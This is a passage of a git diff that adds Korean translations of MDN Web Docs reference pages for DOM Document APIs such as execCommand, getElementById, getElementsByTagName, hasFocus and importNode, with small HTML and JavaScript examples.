선택 영역이나 입력 위치에 번호 순서가 있는 목록을 넣습니다.
+
insertUnorderedList
+
선택 영역이나 입력 위치에 번호 순서가 없는 목록을 넣습니다.
+
insertParagraph
+
선택 영역이나 현재 줄에 문단 태그를 추가합니다. (Internet Explorer는 입력 위치에 문단을 삽입하고 선택 영역은 삭제합니다.)
+
insertText
+
입력 위치에 지정된 텍스트를 입력합니다(선택 영역은 지워집니다).
+
italic
+
선택 영역이나 입력 위치에 이탤릭을 온/오프합니다. (Internet Explorer는 I 대신 EM 태그를 사용합니다.)
+
justifyCenter
+
선택 영역이나 입력 위치를 가운데 정렬합니다.
+
justifyFull
+
선택 영역이나 입력 위치를 양쪽 정렬합니다.
+
justifyLeft
+
선택 영역이나 입력 위치를 좌측 정렬합니다.
+
justifyRight
+
선택 영역이나 입력 위치를 우측 정렬합니다.
+
outdent
+
선택 영역이나 입력 위치의 줄을 내어쓰기 합니다.
+
paste
+
입력 위치에 클립보드의 내용을 붙여넣기 합니다(현재의 선택 영역을 교체합니다). user.js 설정 파일에서 클립보드가 활성화 되어 있어야 합니다. 참고 [1].
+
redo
+
이전에 실행 취소된 명령을 다시 실행합니다.
+
removeFormat
+
현재 선택 영역의 모든 문서 형식을 제거합니다.
+
selectAll
+
편집 가능 영역의 모든 내용을 선택합니다.
+
strikeThrough
+
선택 영역이나 입력 위치의 가로줄을 온/오프 합니다.
+
subscript
+
선택 영역이나 입력 위치의 아랫첨자를 온/오프 합니다.
+
superscript
+
선택 영역이나 입력 위치의 윗첨자를 온/오프 합니다.
+
underline
+
선택 영역이나 입력 위치의 밑줄을 온/오프 합니다.
+
undo
+
직전에 실행된 명령을 취소합니다.
+
unlink
+
선택된 링크에서 링크 태그를 제거합니다.
+
useCSS {{Deprecated_inline}}
+
생성된 마크업의 HTML 태그나 CSS 사용을 토글합니다. 변수 값으로 boolean true/false 값을 넘겨야 합니다. 주의: 이 값은 논리적으로 반대입니다(CSS를 사용하기 위해서는 false를 HTML을 사용하기 위해서는 true). (Internet Explorer는 지원하지 않습니다.) 이 명령은 더이상 사용하지 않습니다. 대신 styleWithCSS 명령어를 사용하세요.
+
styleWithCSS
+
useCSS 명령어를 대체합니다. 변수 값은 예상한대로 작동합니다. 예를 들어서 마크업에서 style 속성을 수정하거나 생성하려면 true를, false는 포매팅 요소를 생성합니다.
+
+ +

예제

+ +

CodePen의 how to use를 참고하세요.

+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML Editing', '#execcommand()', 'execCommand')}}{{Spec2('HTML Editing')}}Initial definition
+ +

브라우저 호환성

+ +

{{Compat("api.Document.execCommand")}}

+ +

참고

+ + diff --git a/files/ko/web/api/document/forms/index.html b/files/ko/web/api/document/forms/index.html new file mode 100644 index 0000000000..675110bb47 --- /dev/null +++ b/files/ko/web/api/document/forms/index.html @@ -0,0 +1,77 @@ +--- +title: Document.forms +slug: Web/API/Document/forms +tags: + - Forms +translation_of: Web/API/Document/forms +--- +
{{APIRef("DOM")}}
+ +

forms는 현재 document에 존재하는 {{HTMLElement("form")}} element 들이 담긴 collection (an {{domxref("HTMLCollection")}})을 반환합니다.

+ +

Syntax

+ +
collection = document.forms;
+ +

Example: Getting form information

+ +
<!DOCTYPE html>
+<html lang="en">
+
+<head>
+<title>document.forms example</title>
+</head>
+
+<body>
+
+<form id="robby">
+  <input type="button" onclick="alert(document.forms[0].id);" value="robby's form" />
+</form>
+
+<form id="dave">
+  <input type="button" onclick="alert(document.forms[1].id);" value="dave's form" />
+</form>
+
+<form id="paul">
+  <input type="button" onclick="alert(document.forms[2].id);" value="paul's form" />
+</form>
+
+</body>
+</html>
+
+ +

Example 2:Getting an element from within a form

+ +
var selectForm = document.forms[index];
+var selectFormElement = document.forms[index].elements[index];
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-document-forms', 'Document.forms')}}{{ Spec2('HTML WHATWG') }} 
{{SpecName('DOM2 HTML', 'html.html#ID-1689064', 'Document.forms')}}{{ Spec2('DOM2 Events') }}Initial definition.
+ +

See also

+ + diff --git a/files/ko/web/api/document/getelementbyid/index.html b/files/ko/web/api/document/getelementbyid/index.html new file mode 100644 index 0000000000..ff66b88d8b --- /dev/null +++ b/files/ko/web/api/document/getelementbyid/index.html @@ -0,0 +1,152 @@ +--- +title: Document.getElementById() +slug: Web/API/Document/getElementById +tags: + - API + - DOM + - Document + - Elements + - Method + - Reference + - Web +translation_of: Web/API/Document/getElementById +--- +
{{ ApiRef("DOM") }}
+ +

Document.getElementById() 메서드는 주어진 문자열과 일치하는 {{domxref("Element.id", "id")}} 속성을 가진 요소를 찾고, 이를 나타내는 {{domxref("Element")}} 객체를 반환합니다. ID는 문서 내에서 유일해야 하기 때문에 특정 요소를 빠르게 찾을 때 유용합니다.

+ +

ID가 없는 요소에 접근하려면 {{domxref("Document.querySelector()")}}를 사용하세요. 모든 {{Glossary("CSS selector", "선택자")}}를 사용할 수 있습니다.

+ +

구문

+ +
document.getElementById(id);
+
+ +

매개변수

+ +
+
id
+
찾으려는 요소 ID. ID는 대소문자를 구분하는 문자열로, 문서 내에서 유일해야 합니다. 즉, 하나의 값은 하나의 요소만 사용할 수 있습니다.
+
+ +

반환 값

+ +

주어진 ID와 일치하는 DOM 요소를 나타내는 {{domxref("Element")}} 객체. 문서 내에 주어진 ID가 없으면 null.

+ +

예제

+ +

HTML

+ +
<html>
+<head>
+  <title>getElementById 예제</title>
+</head>
+<body>
+  <p id="para">어떤 글</p>
+  <button onclick="changeColor('blue');">blue</button>
+  <button onclick="changeColor('red');">red</button>
+</body>
+</html>
+
+ +

JavaScript

+ +
function changeColor(newColor) {
+  var elem = document.getElementById('para');
+  elem.style.color = newColor;
+}
+
+ +

결과

+ +

{{ EmbedLiveSample('예제', 250, 100) }}

+ +

용법

+ +

메서드 이름 중 "Id"의 대소문자가 정확해야 합니다. getElementByID()가 자연스러워 보일지라도 유효하지 않은 이름이기에 사용할 수 없습니다.

+ +

{{domxref("Document.querySelector()")}}나 {{domxref("Document.querySelectorAll()")}}과는 달리 getElementById()는 전역 document 객체의 메서드로만 사용할 수 있고, DOM의 다른 객체는 메서드로 가지고 있지 않습니다. ID 값은 문서 전체에서 유일해야 하며 "국지적"인 버전을 쓸 이유가 없기 때문입니다.

+ +

예제

+ +
<!doctype html>
+<html>
+<head>
+    <meta charset="UTF-8">
+    <title>Document</title>
+</head>
+<body>
+    <div id="parent-id">
+        <p>hello word1</p>
+        <p id="test1">hello word2</p>
+        <p>hello word3</p>
+        <p>hello word4</p>
+    </div>
+    <script>
+        var parentDOM = document.getElementById('parent-id');
+        var test1=parentDOM.getElementById('test1');
+        //throw error
+        //Uncaught TypeError: parentDOM.getElementById is not a function
+    </script>
+</body>
+</html>
+
+ +

id에 맞는 요소가 없을 때 getElementById()는 null을 반환합니다. 매개변수 id가 대소문자를 구분한다는 점을 기억하세요. document.getElementById("Main")는 <div id="main"> 대신 null을 반환하는데 "M"과 "m"을 구분하기 때문입니다.

+ +

문서에 없는 요소는 getElementById()가 팀색하지 않습니다. 요소를 동적으로 생성해서 ID를 부여하더라도, {{domxref("Node.insertBefore()")}}나 비슷한 메서드로 문서 트리에 삽입해야 getElementById()로 접근할 수 있습니다.

+ +
var element = document.createElement('div');
+element.id = 'testqq';
+var el = document.getElementById('testqq'); // el이 null!
+
+ +

HTML이 아닌 문서. DOM 구현체는 요소의 어떤 속성이 ID인지 알고 있어야 합니다. 문서의 DTD가 정의하고 있지 않으면, 속성명이 "id"라고 해도 ID 유형인건 아닙니다. XHTML, XUL 등 자주 쓰이는 문서의 경우 id 속성을 ID 유형으로 정의하고 있습니다. ID 유형의 속성이 어떤 것인지 모르는 다른 구현의 경우 null을 반환합니다.

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM1','level-one-html.html#method-getElementById','getElementById')}}{{Spec2('DOM1')}}Initial definition for the interface
{{SpecName('DOM2 Core','core.html#ID-getElBId','getElementById')}}{{Spec2('DOM2 Core')}}Supersede DOM 1
{{SpecName('DOM3 Core','core.html#ID-getElBId','getElementById')}}{{Spec2('DOM3 Core')}}Supersede DOM 2
{{SpecName('DOM WHATWG','#interface-nonelementparentnode','getElementById')}}{{Spec2('DOM WHATWG')}}Intend to supersede DOM 3
+ +

브라우저 호환성

+ + + +

{{Compat("api.Document.getElementById")}}

+ +

같이 보기

+ + + +

 

diff --git a/files/ko/web/api/document/getelementsbytagname/index.html b/files/ko/web/api/document/getelementsbytagname/index.html new file mode 100644 index 0000000000..1d2284b02a --- /dev/null +++ b/files/ko/web/api/document/getelementsbytagname/index.html @@ -0,0 +1,117 @@ +--- +title: Document.getElementsByTagName() +slug: Web/API/Document/getElementsByTagName +tags: + - API + - DOM + - 레퍼런스 + - 메소드 +translation_of: Web/API/Document/getElementsByTagName +--- +
{{ ApiRef("DOM") }}
+{{domxref("Document")}} 인터페이스의 getElementsByTagName 메소드는 엘리먼트의 {{domxref("HTMLCollection")}} 과 주어진 태그명을 반환합니다. 루트 노드를 포함해 전체 다큐먼트를 대상으로 검색됩니다. 반환된 HTMLCollection 은 살아있는데, 이는 document.getElementsByTagName() 을 다시 호출하지 않아도 자동으로 업데이트하여 DOM 트리와 동기화된 상태를 유지함을 의미합니다.
+ +

구문

+ +
var elements = document.getElementsByTagName(name);
+ + + +
최신 W3C 명세에서는 elements 가 HTMLCollection 라고 하지만, WebKit 브라우저에서는 {{domxref("NodeList")}} 를 반환합니다. 자세한 내용은 {{bug(14869)}} 버그를 확인하시기 바랍니다.
+ +

예시

+ +

다음 예시에서, getElementsByTagName() 는 특정 부모 엘리먼트에서 시작해 그 부모 엘리먼트의 DOM 을 거쳐 위에서 아래로 재귀 탐색을하고, 태그 name 파라미터에 일치하는 모든 자손 엘리먼트의 집합을 생성합니다. 여기에서는 document.getElementsByTagName() 과 기능적으로 동일하며 DOM 트리의 특정 엘리먼트를 시작으로하여 탐색하는 {{domxref("Element.getElementsByTagName()")}} 모두를 시연합니다.

+ +

버튼 클릭은 getElementsByTagName() 을 사용해 특정 부모의 자손 문단(p) 엘리먼트를 셉니다(다큐먼트 자체 또는 중첩된 {{HTMLElement("div")}} 엘리먼트 중 하나).

+ +
<!DOCTYPE html>
+<html lang="en">
+<head>
+  <meta charset="UTF-8" />
+  <title>getElementsByTagName example</title>
+  <script>
+    function getAllParaElems() {
+      var allParas = document.getElementsByTagName('p');
+      var num = allParas.length;
+      alert('There are ' + num + ' paragraph in this document');
+    }
+
+    function div1ParaElems() {
+      var div1 = document.getElementById('div1');
+      var div1Paras = div1.getElementsByTagName('p');
+      var num = div1Paras.length;
+      alert('There are ' + num + ' paragraph in #div1');
+    }
+
+    function div2ParaElems() {
+      var div2 = document.getElementById('div2');
+      var div2Paras = div2.getElementsByTagName('p');
+      var num = div2Paras.length;
+      alert('There are ' + num + ' paragraph in #div2');
+    }
+  </script>
+</head>
+<body style="border: solid green 3px">
+  <p>Some outer text</p>
+  <p>Some outer text</p>
+
+  <div id="div1" style="border: solid blue 3px">
+    <p>Some div1 text</p>
+    <p>Some div1 text</p>
+    <p>Some div1 text</p>
+
+    <div id="div2" style="border: solid red 3px">
+      <p>Some div2 text</p>
+      <p>Some div2 text</p>
+    </div>
+  </div>
+
+  <p>Some outer text</p>
+  <p>Some outer text</p>
+
+  <button onclick="getAllParaElems();">
+    show all p elements in document</button><br />
+
+  <button onclick="div1ParaElems();">
+    show all p elements in div1 element</button><br />
+
+  <button onclick="div2ParaElems();">
+    show all p elements in div2 element</button>
+
+</body>
+</html>
+
+ +

노트

+ +

HTML 다큐먼트에서 호출될 때, getElementsByTagName() 은 처리전에 인수를 소문자로 변환합니다. 이는 HTML 다큐먼트의 하위 트리에 속한 낙타 표기법의 SVG 엘리먼트를 찾으려할 때 바람직하지 않습니다. 그런 경우에는 {{Domxref("document.getElementsByTagNameNS()")}} 가 유용합니다.{{Bug(499656)}} 버그도 확인하시기 바랍니다.

+ +

document.getElementsByTagName() 은 전체 다큐먼트를 포함하여 탐색한다는 점만 제외하고 {{domxref("Element.getElementsByTagName()")}} 와 유사합니다.

+ +

명세

+ + + +

브라우저 호환성

+ + + +

{{Compat("api.Document.getElementsByTagName")}}

+ +

함께 보기

+ + diff --git a/files/ko/web/api/document/getelementsbytagnamens/index.html b/files/ko/web/api/document/getelementsbytagnamens/index.html new file mode 100644 index 0000000000..77c5001581 --- /dev/null +++ b/files/ko/web/api/document/getelementsbytagnamens/index.html @@ -0,0 +1,149 @@ +--- +title: Document.getElementsByTagNameNS() +slug: Web/API/Document/getElementsByTagNameNS +tags: + - API + - DOM + - NeedsMarkupWork + - NeedsSpecTable + - getElementsByTagNameNS + - 레퍼런스 + - 메소드 +translation_of: Web/API/Document/getElementsByTagNameNS +--- +
{{APIRef("DOM")}}
+ +

주어진 네임스페이스에 속하는 태그명을 갖는 엘리먼트의 목록을 반환합니다. 루트 노드를 포함해 전체 다큐먼트를 대상으로 탐색합니다.

+ +

구문

+ +
elements = document.getElementsByTagNameNS(namespace, name)
+
+ + + +

노트: W3C 명세는 elements 를 NodeList 라고 하였지만, Gecko 와 Internet Explorer 에서는 {{DOMxRef("HTMLCollection")}} 을 반환합니다. Opera 는NodeList 를 반환하지만 namedItem 메소드를 구현해 HTMLCollection 과 유사하게 만듭니다. 2012 년 1월 기준으로, WebKit 브라우저만 순수한 NodeList 를 반환합니다. 자세한 내용은 bug 14869 를 확인하세요.

+ +

노트: 현재 이 메소드의 파라미터는 대소문자를 구분하지만, Firefox 3.5 와 그 이전에는 그렇지 않았습니다. 자세한 내용은 Firefox 3.6 개발자 릴리즈 노트와 {{domxref("Element.getElementsByTagNameNS")}} 의 브라우저 호환성 섹션을 확인하세요.

+ +

예시

+ +

다음 예시에서 getElementsByTagNameNS 는 특정 부모 노트로부터 시작하고 위에서 아래로 해당 DOM 의 부모노드를 재귀적으로 탐색하여 태그 name 파라미터에 일치하는 자식 엘리먼트를 찾습니다.

+ +

getElementByTagName 이 실행된 노드가 document 노드가 아닐 때, {{domxref("element.getElementsByTagNameNS")}} 메소드가 사용됨을 유의하세요.

+ +

다음 예시를 사용하려면, .xhtml 확장의 새 파일로 복사/붙여넣기 하세요.

+ +
<html xmlns="http://www.w3.org/1999/xhtml">
+
+<head>
+<title>getElementsByTagNameNS example</title>
+
+<script type="text/javascript">
+
+function getAllParaElems()
+{
+  var allParas = document.getElementsByTagNameNS("http://www.w3.org/1999/xhtml", "p");
+
+  var num = allParas.length;
+
+  alert("There are " + num + " &lt;p&gt; elements in this document");
+}
+
+
+function div1ParaElems()
+{
+  var div1 = document.getElementById("div1")
+  var div1Paras = div1.getElementsByTagNameNS("http://www.w3.org/1999/xhtml", "p");
+
+  var num = div1Paras.length;
+
+  alert("There are " + num + " &lt;p&gt; elements in div1 element");
+}
+
+
+function div2ParaElems()
+{
+  var div2 = document.getElementById("div2")
+  var div2Paras = div2.getElementsByTagNameNS("http://www.w3.org/1999/xhtml", "p");
+
+  var num = div2Paras.length;
+
+  alert("There are " + num + " &lt;p&gt; elements in div2 element");
+}
+
+</script>
+</head>
+
+<body style="border: solid green 3px">
+<p>Some outer text</p>
+<p>Some outer text</p>
+
+  <div id="div1" style="border: solid blue 3px">
+    <p>Some div1 text</p>
+    <p>Some div1 text</p>
+    <p>Some div1 text</p>
+
+    <div id="div2" style="border: solid red 3px">
+    <p>Some div2 text</p>
+    <p>Some div2 text</p>
+    </div>
+  </div>
+
+<p>Some outer text</p>
+<p>Some outer text</p>
+
+<button onclick="getAllParaElems();">
+ show all p elements in document</button><br />
+
+<button onclick="div1ParaElems();">
+ show all p elements in div1 element</button><br />
+
+<button onclick="div2ParaElems();">
+ show all p elements in div2 element</button>
+
+</body>
+</html>
+
+ +

지원하지 않는 다른 브라우저를 위한 잠재적인 대안

+ +

원하는 브라우저가 XPath 를 지원하지 않는다면, 원하는 로컬명과 네임스페이스를 갖는 모든 태그를 찾기 위한 다른 접근법(모든 자식을 거쳐 DOM 을 횡단, 모든 @xmlns 인스턴스 식별 등)이 필요하지만, XPath 가 훨씬 빠릅니다(Explorer 에 적용하려면, 아래의 함수에서 XPath 대신 이 래퍼 클래스같은 XPath 래퍼를 호출할 수 있습니다(Explorer 는 다른 API 로 XPath 를 지원합니다).)

+ +
function getElementsByTagNameNSWrapper (ns, elName, doc, context) {
+ if (!doc) {
+  doc = document;
+ }
+ if (!context) {
+  context = doc;
+ }
+
+ var result = doc.evaluate('//*[local-name()="'+elName+'" and namespace-uri() = "'+ns+'"]', context, null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null);
+
+        var a = [];
+        for(var i = 0; i < result.snapshotLength; i++) {
+            a[i] = result.snapshotItem(i);
+        }
+        return a;
+}
+
+ +

명세

+ +

DOM Level 2 Core: Document.getElementsByTagNameNS

+ +

브라우저 호환성

+ + + +

{{Compat("api.Document.getElementsByTagNameNS")}}

+ +

함께 보기

+ + diff --git a/files/ko/web/api/document/getselection/index.html b/files/ko/web/api/document/getselection/index.html new file mode 100644 index 0000000000..40ec764f1e --- /dev/null +++ b/files/ko/web/api/document/getselection/index.html @@ -0,0 +1,8 @@ +--- +title: Document.getSelection() +slug: Web/API/Document/getSelection +translation_of: Web/API/DocumentOrShadowRoot/getSelection +--- +

{{APIRef("DOM")}}

+ +

이 메소드는 {{domxref("Window.getSelection()")}} 와 동일합니다. 이 메소드는 {{domxref("Selection")}} 형의 객체를 반환하는데, 이 객체는 현재 페이지에서 선택된 영역의 정보를 반영합니다.

diff --git a/files/ko/web/api/document/hasfocus/index.html b/files/ko/web/api/document/hasfocus/index.html new file mode 100644 index 0000000000..b41818b736 --- /dev/null +++ b/files/ko/web/api/document/hasfocus/index.html @@ -0,0 +1,101 @@ +--- +title: Document.hasFocus() +slug: Web/API/Document/hasFocus +tags: + - API + - DOM + - Focus + - Method + - Reference +translation_of: Web/API/Document/hasFocus +--- +

{{ ApiRef("DOM") }}

+ +

Document.hasFocus() 메소드는 문서 또는 문서 내의 요소(element) 중 어느 하나라도 포커스(focus)를 갖고 있으면 true, 그렇지 않으면 false인 {{jsxref("Boolean")}} 값을 반환한다. 이 메소드를 사용하여 문서내 활성화된(active) 요소가 포커스를 갖고 있는지 판단할 수 있다.

+ +
+

문서를 볼 때, 포커스를 가진 요소는 언제나 문서상의 활성화된 요소이다. 반면에 활성화된 요소는 꼭 포커스를 갖지 않을 수 도 있다. 예를 들면 전면에 나와있지 않은(not a foreground) 팝업창 내의 활성화된 요소는 포커스를 갖고 있지 않다.

+
+ +

구문

+ +
focused = document.hasFocus();
+ +

반환 값

+ +

문서 내의 활성화된 요소가 포커스를 갖고 있지 않으면 false를 반환, 포커스를 갖고 있다면 true를 반환

+ +

예제

+ +
<!DOCTYPE html>
+<html lang="en">
+<head>
+<meta charset="UTF-8" />
+<title>TEST</title>
+<style>
+#message { font-weight: bold; }
+</style>
+
+<script>
+
+setInterval( CheckPageFocus, 200 );
+
+function CheckPageFocus() {
+  var info = document.getElementById("message");
+
+  if ( document.hasFocus() ) {
+    info.innerHTML = "The document has the focus.";
+  } else {
+    info.innerHTML = "The document doesn't have the focus.";
+  }
+}
+
+function OpenWindow() {
+  window.open (
+    "http://developer.mozilla.org/",
+    "mozdev",
+    width=640,
+    height=300,
+    left=150,
+    top=260
+  );
+}
+
+</script>
+</head>
+
+<body>
+  <h1>JavaScript hasFocus example</h1>
+  <div id="message">Waiting for user action</div>
+  <div><button onclick="OpenWindow()">Open a new window</button></div>
+</body>
+</html>
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'interaction.html#dom-document-hasfocus', 'Document.hasFocus()')}}{{Spec2('HTML WHATWG')}}Initial definition
+ +

브라우저 호환성

+ +

{{Compat("api.Document.hasFocus")}}

+ +

관련 참고

+ + diff --git a/files/ko/web/api/document/head/index.html b/files/ko/web/api/document/head/index.html new file mode 100644 index 0000000000..6beb5b59a3 --- /dev/null +++ b/files/ko/web/api/document/head/index.html @@ -0,0 +1,69 @@ +--- +title: Document.head +slug: Web/API/Document/head +tags: + - API + - Document + - HTML DOM + - Property + - Reference +translation_of: Web/API/Document/head +--- +
{{APIRef("DOM")}}
+ +

{{domxref("Document")}} 인터페이스의 head 읽기 전용 속성은 현재 문서의 {{htmlelement("head")}} 요소를 나타냅니다.

+ +

예제

+ +
<!doctype html>
+<head id="my-document-head">
+  <title>Example: using document.head</title>
+</head>
+
+<script>
+  let theHead = document.head;
+
+  console.log(theHead.id); // "my-document-head";
+  console.log(theHead === document.querySelector("head")); // true
+</script>
+ +

참고

+ +

Document.head는 읽기 전용입니다. 값을 할당하려고 시도하면 조용히 실패하거나, 엄격 모드에서는 {{jsxref("TypeError")}}가 발생합니다.

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG','dom.html#dom-document-head','Document.head')}}{{Spec2('HTML WHATWG')}}Initial definition.
{{SpecName('HTML5.1','dom.html#dom-document-head','Document.head')}}{{Spec2('HTML5.1')}} 
{{SpecName('HTML5 W3C','dom.html#dom-document-head','Document.head')}}{{Spec2('HTML5 W3C')}} 
+ +

브라우저 호환성

+ +

{{Compat("api.Document.head")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/document/hidden/index.html b/files/ko/web/api/document/hidden/index.html new file mode 100644 index 0000000000..13c6f0a5da --- /dev/null +++ b/files/ko/web/api/document/hidden/index.html @@ -0,0 +1,26 @@ +--- +title: Document.hidden +slug: Web/API/Document/hidden +tags: + - API + - Document + - Property + - Reference +translation_of: Web/API/Document/hidden +--- +
{{ ApiRef("DOM") }}
+ +

Document.hidden 읽기 전용 속성은 페이지가 숨겨졌는지 여부를 {{jsxref("Boolean")}} 값으로 나타냅니다.

+ +

예제

+ +
document.addEventListener("visibilitychange", function() {
+  console.log(document.hidden);
+  // 숨김 여부가 변했을 때의 행동
+});
+ +

명세

+ + + +

{{Compat("api.Document.hidden")}}

diff --git a/files/ko/web/api/document/images/index.html b/files/ko/web/api/document/images/index.html new file mode 100644 index 0000000000..702ad66bc5 --- /dev/null +++ b/files/ko/web/api/document/images/index.html @@ -0,0 +1,52 @@ +--- +title: Document.images +slug: Web/API/Document/images +translation_of: Web/API/Document/images +--- +
{{APIRef("DOM")}}
+ +

document.images 는 현재 HTML document 내부의 images collection을 반환합니다.

+ +

Syntax

+ +
var htmlCollection = document.images;
+ +

Example

+ +
var ilist = document.images;
+
+for(var i = 0; i < ilist.length; i++) {
+    if(ilist[i].src == "banner.gif") {
+        // found the banner
+    }
+}
+ +

Notes

+ +

document.images.length – 페이지의 이미지 갯수를 반환하는 속성

+ +

document.images 는 DOM HTML의 part이며, HTML documents 에서만 지원된다.

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-document-images', 'Document.images')}}{{ Spec2('HTML WHATWG') }} 
{{SpecName('DOM2 HTML', 'html.html#ID-90379117', 'Document.images')}}{{ Spec2('DOM2 Events') }}Initial definition.
diff --git a/files/ko/web/api/document/implementation/index.html b/files/ko/web/api/document/implementation/index.html new file mode 100644 index 0000000000..79b50f451e --- /dev/null +++ b/files/ko/web/api/document/implementation/index.html @@ -0,0 +1,55 @@ +--- +title: Document.implementation +slug: Web/API/Document/implementation +tags: + - API + - DOM + - NeedsContent + - Property + - Reference +translation_of: Web/API/Document/implementation +--- +
{{ ApiRef("DOM") }}
+ +

현재 document에 연관된 {{domxref("DOMImplementation")}} 객체를 반환합니다.

+ +

Syntax

+ +
DOMImpObj = document.implementation;
+
+ +

Example

+ +
var modName = "HTML";
+var modVer = "2.0";
+var conformTest = document.implementation.hasFeature( modName, modVer );
+
+alert( "DOM " + modName + " " + modVer + " supported?: " + conformTest );
+
+// alerts with: "DOM HTML 2.0 supported?: true" if DOM Level 2 HTML module is supported.
+
+ +

모듈 네임 목록(예: Core, HTML, XML, 등등)은 DOM Level 2 Conformance 섹션에서 확인하실 수 있습니다.

+ +

Notes

+ +

W3C의 DOM Level 1 권고안에는 DOM 모듈을 브라우저에서 지원하는지를 확인하는 방법 중 하나인 hasFeature 메소드만 명시되어 있습니다(위 예제와 What does your user agent claim to support? 문서를 확인하세요). 사용이 가능한 경우, 다른 DOMImplementation 메소드들이 단일 document 외부의 것들을 컨트롤하기 위한 서비스들을 제공합니다. 예를 들어, DOMImplementation 인터페이스는 createDocumentType 메소드와 implementation에 의해 관리되는 하나 이상의 document를 위해 생성되는 DTD가 무엇인지를 포함합니다.

+ +

Specification

+ + + +

Browser compatibility

+ + + +

{{Compat("api.Document.implementation")}}

+ +

Gecko-specific notes

+ + diff --git a/files/ko/web/api/document/importnode/index.html b/files/ko/web/api/document/importnode/index.html new file mode 100644 index 0000000000..18be48039f --- /dev/null +++ b/files/ko/web/api/document/importnode/index.html @@ -0,0 +1,67 @@ +--- +title: Document.importNode() +slug: Web/API/Document/importNode +translation_of: Web/API/Document/importNode +--- +

{{APIRef("DOM")}}

+ +

설명

+ +

현재 문서가 아닌 외부 문서의 노드를 복사하여 현재 문서에 넣을 수 있도록 해줍니다.

+ +

문법

+ +
var node = document.importNode(externalNode, deep);
+
+ +
+
node
+
문서에 추가될 새로운 노드입니다. 새로운 노드가 문서 트리에 추가되기 전까지, 새로운 노드의 parentNode는 null입니다.
+
externalNode
+
다른 문서에서 가져올 노드입니다.
+
deep
+
불리언 타입을 가지며, 다른 문서에서 노드를 가져올 때 노드의 자식 요소들을 포함하여 가져올 것인지에 대한 여부를 결정합니다.
+
+ +
+

Note: DOM4 스펙 (Gecko 13.0 {{geckoRelease(13)}}에서 적용되어 있습니다)에서, deep은 선택적 인자입니다. 만약 해당 속성을 생략한다면, 함수는 자동으로 deep을 true로 인식하여 작동하게 되고, 기본 동작을 하게 됩니다. 만약 자식 노드를 포함하지 않은 해당 노드만 가져오고싶다면, 반드시 deep인자에 false를 주시길 바랍니다.

+ +

이러한 동작 방식은 최신 스펙에서 변경되었고, 만약 deep 속성을 생략하면, 함수는 자동으로 deep을 false로 인식하여 동작합니다. 비록 deep 속성이 선택적 속성이라고 해도, 당신은 항상 deep 속성을 상호 호환성을 위하여 제공하는 것이 좋습니다. Gecko 28.0 {{geckoRelease(28)}} 버전부터, deep속성을 입력하지 않을 경우 콘솔에서 에러를 반환합니다.

+
+ +

예제

+ +
var iframe = document.getElementsByTagName("iframe")[0];
+var oldNode = iframe.contentDocument.getElementById("myNode");
+var newNode = document.importNode(oldNode, true);
+document.getElementById("container").appendChild(newNode);
+
+ +

Notes

+ +

오리지널 노드는 오리지널 문서에서 삭제되지 않습니다. 추가된 노드는 오리지널 노드의 복사본입니다.

+ +

Nodes from external documents should be cloned using document.importNode() (or adopted using document.adoptNode()) before they can be inserted into the current document. For more on the Node.ownerDocument issues, see the W3C DOM FAQ.

+ +

Firefox doesn't currently enforce this rule (it did for a while during the development of Firefox 3, but too many sites break when this rule is enforced). We encourage Web developers to fix their code to follow this rule for improved future compatibility.

+ +

브라우저 지원율

+ +
+ + +

{{Compat("api.Document.importNode")}}

+
+ +

관련문서

+ + + +

참고

+ + diff --git a/files/ko/web/api/document/index.html b/files/ko/web/api/document/index.html new file mode 100644 index 0000000000..f26cb7a526 --- /dev/null +++ b/files/ko/web/api/document/index.html @@ -0,0 +1,480 @@ +--- +title: Document +slug: Web/API/Document +tags: + - API + - DOM + - Document + - Interface + - Reference +translation_of: Web/API/Document +--- +
{{APIRef("DOM")}}
+ +

Document 인터페이스는 브라우저가 불러온 웹 페이지를 나타내며, 페이지 콘텐츠(DOM 트리)의 진입점 역할을 수행합니다. DOM 트리는 {{HTMLElement("body")}}와 {{HTMLElement("table")}} 및 여러 다른 요소를 포함합니다. Document는 페이지의 URL을 얻거나 문서에 새로운 요소를 생성하는 등의 기능을 전역적으로 제공합니다.

+ +

{{inheritanceDiagram}}

+ +

Document 인터페이스는 모든 종류의 문서에 대한 공통의 속성과 메서드를 묘사합니다. 문서의 유형(HTML, XML, SVG 등)에 따라서 더 다양한 API가 존재합니다. 예컨대 "text/html" 콘텐츠 유형으로 제공되는 HTML 문서는 {{domxref("HTMLDocument")}} 인터페이스도 구현하는 반면, XML과 SVG 문서는 {{domxref("XMLDocument")}} 인터페이스를 구현합니다.

+ +

생성자

+ +
+
{{domxref("Document.Document","Document()")}} {{non-standard_inline}}
+
새로운 Document 객체를 생성합니다.
+
+ +

속성

+ +

Documet는 {{domxref("Node")}}와 {{domxref("EventTarget")}} 인터페이스도 상속합니다.

+ +
+
{{domxref("Document.anchors")}} {{readonlyinline}}
+
문서 내 모든 앵커의 목록을 반환합니다.
+
{{domxref("Document.body")}}
+
현재 문서의 {{HTMLElement("body")}} 또는 {{htmlelement("frameset")}} 노드를 반환합니다.
+
{{domxref("Document.characterSet")}} {{readonlyinline}}
+
문서에서 사용하는 캐릭터셋을 반환합니다.
+
{{domxref("Document.compatMode")}} {{readonlyinline}} {{experimental_inline}}
+
문서의 렌더링 모드가 Quirks와 Strict 중 어떤 것인지 반환합니다.
+
{{domxref("Document.contentType")}} {{readonlyinline}} {{experimental_inline}}
+
현재 문서의 MIME 헤더로부터 Content-Type을 반환합니다.
+
{{domxref("Document.doctype")}} {{readonlyinline}}
+
현재 문서의 문서 형식 정의(Document Type Definition, DTD)를 반환합니다.
+
{{domxref("Document.documentElement")}} {{readonlyinline}}
+
문서의 직속 자식인 {{domxref("Element")}}를 반환합니다. HTML 문서에서는 보통 {{HTMLElement("html")}} 요소를 나타내는 {{domxref("HTMLHtmlElement")}} 객체입니다.
+
